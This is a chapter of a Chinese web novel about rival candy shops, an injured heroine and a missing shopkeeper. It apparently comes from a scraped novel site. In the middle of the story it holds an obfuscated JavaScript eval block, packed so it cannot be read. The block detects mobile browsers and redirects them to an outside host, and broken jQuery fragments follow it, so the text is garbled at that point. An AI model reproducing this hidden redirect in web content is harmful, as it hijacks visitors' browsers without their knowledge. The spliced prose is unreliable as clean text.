12. 大发慈悲的对家

作品:《麟鹿风糖记

    浓重的血腥气裹挟着苦药味,在柴火堆摇曳的阴影中,张泽鹿缓步上前,将盛黎麟轻轻揽入怀中,鲜血顺着两人交叠的衣襟悄然滑落,在地上晕出点点血色。


    “这次我会处理妥当,绝不会重蹈覆辙,不要担心。”张泽鹿低声耳语,呼出的温热气息若有似无地掠过怀中人的耳畔。


    盛黎麟的眼中闪过一丝复杂的情绪,她忽地问道:“那夜,在香饴糖铺门口闪过去的那个人影,是你吗?”


    张泽鹿微点头,柔声回道:“我放心不下你,那夜你做得很好,就应该让他那种人吃够教训。”


    盛黎麟的眼珠骤然一颤,她又追问道:“你怎么会赶来救我的?”


    张泽鹿的神情瞬间变得凝重起来,他心有余悸地沉声道:“糖铺有位客人瞧见李掌柜鬼鬼祟祟尾随于你,我察觉事有蹊跷便急忙追来,幸好……及时赶上了。”


    前堂内忽传来薛彤年的话音,盛黎麟如惊弓之鸟般从张泽鹿温软的怀抱中挣脱出,只见她迅速转身利落地掩上柴房的门扉,随即屏息凝神,贴耳在门板上倾听着前堂的动静。


    张泽鹿怅然若失地凝视着盛黎麟的背影,他倏然收拢的指尖无意识地摩挲着方才拥抱时她留下的余温。


    前堂里,薛彤年从百里赢鱼手中接过小宝,她的目光不经意间扫过后院,随后装作随意地问道:“百里大夫,你今日……可曾见过李掌柜?”


    百里赢鱼正忙着低头与小宝挥手告别,听到薛彤年的问话,她抬眸道:“薛姐姐找李掌柜?”随后她毫不犹豫地摇头,“我今日未曾见过他。”


    谁料小宝这时竟扯了扯薛彤年的衣袖插话道:“娘亲,风车糖姐姐流血了……”


    薛彤年闻言瞳孔骤然一缩,百里赢鱼见状立即若无其事地解释道:“没什么要紧的,阿麟只是不小心被划伤了,我已经简单处理过了,并无大碍。”


    一旁的薛彤年并未多言,她只是浅笑着轻声道:“今日多亏了百里大夫悉心照料小宝。”


    百里赢鱼柔声回道:“薛姐姐不必客气。”


    而后薛彤年轻轻欠身,“今日多有叨扰,我带着小宝就先行告辞了。”


    目送薛彤年离去后,百里赢鱼快步穿过后院,她先是叩响了盛黎麟的房门,“阿麟。”屋内却无人应答。


    百里赢鱼蹙起眉尖,直接推门而入,在屋内寻人无果后,她忙三步并作两步地再次回到院子里。


    百里赢鱼的步伐在柴房门口倏然停住,随即她轻叩门板,并低声道:“阿麟,是我。”


    待门开之后,百里赢鱼瞧见盛黎麟身上的鲜血大惊失色,急声道:“发生了何事?不行,先别说了,快随我去处理伤口。”说罢,她不由分说地拽着盛黎麟就往屋内走,张泽鹿紧随其后。


    待包扎妥当,百里赢鱼温声道:“你且安心在此休养,我已与你娘爹说好,这几日你随我钻研药糖,暂且就住在我这。”


    盛黎麟虚弱地点头道:“多谢阿鱼,不过……你娘爹呢?”


    百里赢鱼一边收拾着药箱,一边答道:“二老前些日子去了京城,说是要亲自护送一批珍稀药材回来。”


    张泽鹿在一旁轻轻握住盛黎麟的手,“糖铺交给我,你安心养伤。”盛黎麟轻轻点了点头。


    翌日清晨,一个男子怒气冲冲地闯进香饴糖铺里。


    “刚买的糖……”男子猛地将纸包的饴糖一把拍在柜台上,“掌柜的!谁家饴糖是苦的啊!”


    薛彤年无奈一笑,“恐怕只有我这一家吧。”


    男子气地眉毛跳起来,“你还挺得意?”


    薛彤年:“不是……抱歉,我把钱退给你。”


    待男子嘟嘟囔囔地离去后,薛彤年望着柜台上卖相欠佳的饴糖嘀咕道:“明明是按照方子来的,怎么是苦的呢?”她眉头微蹙,“话说这个李掌柜究竟跑到哪里去了?按理说逃出去后该去报官的,怎么到现在一点动静都没有?莫非……”她倏地眯起双眼,“他死了?”


    晌午时分,张泽鹿正在铺子里忙碌,忽见香饴糖铺家的小宝蹦蹦跳跳地跑进铺子里,小手挥舞着喊道:“哥哥!”她踮起脚尖,扒在柜台上仰着小脸,“我娘让我问问,为什么饴糖会是苦的呀?”


    张泽鹿放下手里的活,低头温声应道:“熬制饴糖一开始要用大火煮沸,后面再转中小火慢熬,如果持续大火导致火势过猛就会焦化,焦化了自然就会有苦味。”


    小宝一脸茫然地回道:“听不懂……”


    张泽鹿被小宝可爱的模样逗笑,“啊……简单地说就是冒泡了之后火太大了就会有苦味。”


    “哦哦!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129340|164385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小宝似懂非懂地点头,“谢谢哥哥,”她一溜烟跑出铺子,边跑边喊,“娘!哥哥说泡泡大火有苦味!”


    没过多久,小宝又气喘吁吁地跑过来,“哥哥,我娘说你铺子里的糖她全要了!”


    张泽鹿一时愣住,“啊?”他有些难以置信,“全要吗?你娘真这么说的?”


    小宝斩钉截铁地应道:“嗯!我娘说她今日不想熬糖啦!”


    暮色降临,百里药铺的院子内,火炉上煨着盛黎麟要服用的汤药,百里赢鱼正坐在小凳子上歪头仔细地盯着火苗。


    一旁躺椅上的盛黎麟裹着半旧的披风虚弱地躺着,这时,张泽鹿从药铺前堂匆匆来到院子里。


    盛黎麟抬眼看向张泽鹿,有些意外,她直起身子问道:“今日怎么这么早就来了?”


    张泽鹿:“阿麟,你猜怎么着?今日太阳打西边出来了,白日里薛掌柜把咱铺子里的糖货全都一扫而空了。奇了怪了,这香饴糖铺可是往日跟咱们抢生意的对家,今儿竟大发慈悲让咱铺子连糖渣子都不剩。”


    百里赢鱼抬起头来,惊讶道:“嗯?那确实蹊跷得很……”


    张泽鹿压低声音又道:“李掌柜初到溪香镇时,谈及家人只提过一句‘婆娘带着孩子改嫁了’,这么多年,镇上无人见过他的家人。今日我去送糖时,细看那薛掌柜,与李掌柜毫无相似之处。更蹊跷的是,李掌柜失踪后,她竟未去报官。”


    百里赢鱼在一旁轻声道:“说起薛姐姐来,她突然从白岄镇搬到这里来接手糖铺,我确实也满惊讶的,而且说起那长相,小宝与她也一点都不像。”


    张泽鹿若有所思地说道:“如此说来,虽说是三代人,但三人却无半分相像之处。”


    盛黎麟微微蹙眉,她转向百里赢鱼问道:“阿鱼,你是如何与薛掌柜相识的?”


    百里赢鱼沉吟道:“起初就是大夫和病人的关系,薛姐姐出手颇为阔绰,后来我瞧着她身上的伤口不像是寻常百姓人家能受到的伤,内心就越来越在意,不过……”她顿了顿,声音又低了几分,“有些事还是不清楚比较好,免得引火烧身。”


    话音未落,院子里的晾药竹匾突然被坠落的瓦片砸中打翻,药材洒落一地。


    三人同时抬头,却惊恐地瞧见黑漆漆的屋顶上忽地垂下来一只人手!